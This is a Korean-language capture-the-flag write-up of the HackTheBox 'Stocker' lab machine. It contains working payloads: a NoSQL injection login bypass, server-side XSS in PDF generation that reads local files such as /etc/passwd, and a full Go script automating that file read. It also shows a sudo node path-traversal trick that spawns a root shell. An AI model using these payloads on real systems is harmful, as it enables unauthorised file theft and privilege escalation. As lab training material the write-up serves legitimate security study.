이번 머신을 풀이 과정에서 초기 침투를 진행하지 못해 구글링을 통해 알아내게되었으며, 정찰을 통해 취약점에 접근하는것이 아닌 공격자의 꼼꼼함(?)으로 발생할 수 있는 취약점이였다. 그렇기에 풀이 과정을 기록할지 고민하다가 나중에 또 복기할 수 있으니 포스팅하기로 결정했다.
머신을 실행하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.
naabu -host 10.10.11.208 -p - --nmap-cli "nmap -sV"
대상 호스트에는 22/tcp, 80,tcp
가 오픈되어있으며 웹 서비스에 접근하여 확인된 도메인은 stocker.htb
이다.
웹사이트에 접근하여 여러가지 메뉴들을 확인해보고, Wappalyzer
를 통해 확인되는 서비스가 사용중인 스펙에 대해서 알려진 CVE가 존재하는지 확인해보고 시도했으나 유효하지 못했다.
ffuf
를 통해 디렉터리 스캔을 진행하여도 일반적인 js, css, index.html만 확인 가능했고 정보가 노출되거나 공격이 가능해보이는 부분은 없었다.
메인 웹서비스에서 발견할 수 있는것은 없어보여 vhost를 스캔하였으며, 스캔결과 dev.stocker.htb
를 발견할 수 있었다.
ffuf -w vhost-wordlist.txt -H "Host: FUZZ.stocker.htb" -u http://stocker.htb
직접 접근해서 확인하니 로그인 페이지가 발견됐다.
위에서 진행한것과 동일하게 정찰을 진행했으나 건질만한 내용은 없었으며, 디렉터리 스캔 결과는 다음과 같이 확인됐다.
/stock 경로에 접근해 보았으나 You must be authenticated to access this page.
메세지와 함께 로그인 페이지로 리다이렉트된다. 결과적으로 해당 서비스는 로그인 로직에서 공격이 가능할 것이라고 예상되어 일반적인 SQLi를 시도 및 sqlmap을 돌려봤으나 얻을 수 있는 정보는 없었다.
여기서 많은 시간이 소요되었으며 결국 구글링하여 문제 풀이를 확인해보니 dev.stocker.htb에서 로그인 시 백앤드에서 NoSQL
을 통해 쿼리한다는 점만 알게되었다.
이부분에서 문제 풀이 게시자가 어떤 근거로 NoSQL을 인지한것인지 알아보았으나 그런 부분은 확인할 수 없었기에 결과적으로 앞으로 나같은 단순한 공격자는 SQLi 공격을 하더라도 싱글쿼터, 더블쿼터, 주석 구문 등을 통해 단순하게 정찰하는것에서 NoSQLi도 확인하는 꼼꼼함이 필요한것을 느껴버렸다 😭.
NoSQLi는 일반적으로 아래와 같은 형태로 테스트가 가능하다.
참고 : HackTricks NoSQL Injection
NoSQLi가 성공하여 세션이 발급되면서 /stock 경로로 리다이렉트된다.
해당 페이지는 카트에 상품을 담고 주문이 가능한 페이지로 주문 시 사용되는 API는 /api/oder
로 확인된다.
주문이 성공적으로 진행되면 다음과 같이 주문서를 확인할 수 있는 페이지를 링크한다.
여기서 확인되는 주문서의 경로는 /api/po/[주문번호]
로 확인되었으며 /api/order
로 전송되는 json데이터에 LFI나 ProtoType Pollution등의 공격을 시도했지만 불가능했다.
여러 테스트를 진행하면서 json으로 전달되는 값들이 PDF로 들어가게되며 이전에 트위터 #BugBountyTips에서 확인했던 팁이 생각나서 급하게 따봉 누른 트윗과 SaveToNotion을 뒤져서 XSS to Exfiltrate Data from PDFs 블로그 글을 다시 정독했다.
사용자로부터 입력받은 데이터를 기반으로 PDF를 생성하는 과정에서 Server Side XSS 가 가능했으며, 아래와 같이 테스트가 가능하다.
<script>document.write(document.location.href)</script>
해당 스크립트를 /api/order에 전달되는 json의 title부분에 삽입하여 주문서 PDF를 확인해보니 스크립트가 동작한것을 확인할 수 있었다.
추가적으로 다음 스크립트를 이용해서 LFI가 가능하다.
<iframe src='file:///etc/passwd' width=1000 height=1000></iframe>
해당 과정을 통해 대상 시스템의 로컬 파일을 불러오는 과정이 번거로워 Go를 통해 간단한 자동화를 진행하였다 (order api 호출 - response 내 orderId 획득 - pdf 다운로드 - pdf 문자열 파싱)
package main
import (
"bytes"
"crypto/tls"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"net/http"
"os"
"strings"
"github.com/ledongthuc/pdf"
)
type OrderReq struct {
Basket []OrderBasket `json:"basket"`
}
type OrderBasket struct {
ID string `json:"_id"`
Title string `json:"title"`
Description string `json:"description"`
Image string `json:"image"`
Price int `json:"price"`
CurrentStock int `json:"currentStock"`
V int `json:"__v"`
Amount int `json:"amount"`
}
type OrderRes struct {
Success bool `json:"success"`
OrderID string `json:"orderId`
}
const (
FILE_PATH string = "result.pdf"
)
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage : server-side-xss-to-lfi file-path")
os.Exit(0)
}
filePath := os.Args[1]
var client *http.Client = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
var order OrderReq
order.Basket = append(order.Basket, OrderBasket{
ID: "638f116eeb060210cbd83a8d",
Title: "[START]<iframe src='file://" + filePath + "'></iframe>[END]",
Description: "It's a red cup.",
Image: "red-cup.jpg",
Price: 32,
CurrentStock: 4,
V: 0,
Amount: 1,
})
orderReqBody, _ := json.Marshal(order)
req, _ := http.NewRequest("POST", "http://dev.stocker.htb/api/order", bytes.NewBufferString(string(orderReqBody)))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Cookie", "connect.sid=s%3AfLvGwhifzIvH3DU6pPWe2U-vle5DHHoH.0vYegCKiBquEeNS31U1QA5e5U83FJvWqUbUYf5xCoco")
res, err := client.Do(req)
if err != nil {
panic(err)
}
orderResBody, _ := ioutil.ReadAll(res.Body)
orderResBodyData := OrderRes{}
json.Unmarshal(orderResBody, &orderResBodyData)
resp, err := http.Get("http://dev.stocker.htb/api/po/" + orderResBodyData.OrderID)
if err != nil {
panic(err)
}
defer resp.Body.Close()
out, _ := os.Create(FILE_PATH)
defer out.Close()
io.Copy(out, resp.Body)
pdf.DebugOn = true
content, err := readPdf(FILE_PATH) // Read local pdf file
if err != nil {
panic(err)
}
startIndex := strings.Index(content, "[START]")
endIndex := strings.Index(content, "[END]")
if startIndex == -1 || endIndex == -1 {
log.Fatal("Error: [START] or [END] not found in the text")
return
}
result := content[startIndex+len("[START]") : endIndex]
fmt.Println(result)
os.Remove(FILE_PATH)
}
func readPdf(path string) (string, error) {
f, r, err := pdf.Open(path)
if err != nil {
return "", err
}
defer f.Close()
var buf bytes.Buffer
b, err := r.GetPlainText()
if err != nil {
return "", err
}
buf.ReadFrom(b)
return buf.String(), nil
}
이렇게 LFI를 여러번 진행하여 /etc/nginx/nginx.conf
에서 vhost로 동작하는 dev.stocker.htb
서비스의 웹 루트 경로를 확인할 수 있었다.
위에서 누락되었지만 dev 호스트는 NodeJS Express를 사용한다. 즉 /var/www/dev 경로에서 js파일들을 추측하여 대입하였고 index.js를 확인할 수 있었고, 소스코드에서 MongoDB 계정정보를 탈취할 수 있었다.
MongoDB는 대상 호스트 로컬에서만 접근이 가능했으며 직접적인 접근은 불가능했지만 LFI를 통해 /etc/passwd에서 알아낸 일반유저(angoose)에 SSH 접근을 시도했고 패스워드를 입력하니 접근이 가능했다.
이후 습관적으로 권한 상승을 위해 sudo -l
명령을 통해 sudo 권한을 확인하니 아래와같이 특정 디렉터리의 js파일을 NodeJS로 실행할 수 있는 권한이 존재했다.
확인하자마자 아이코! 감사합니다! 하면서 /tmp 디렉터리에 shell.js를 생성했고 다음과 같이 작성했다.
참고 : GTFOBins#node
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
sudo 리스트에서 /usr/local/scripts/*.js
와 같이 특정 경로의 js만 실행 가능하지만 Path Traversal을 통해 쉽게 우회가 가능하다. 결과적으로 제작한 /tmp/shell.js는 아래와 같이 실행한다.
sudo /usr/bin/node /usr/local/scripts/../../../tmp/shell.js
이렇게 Stocker 머신도 완료할 수 있었다 : )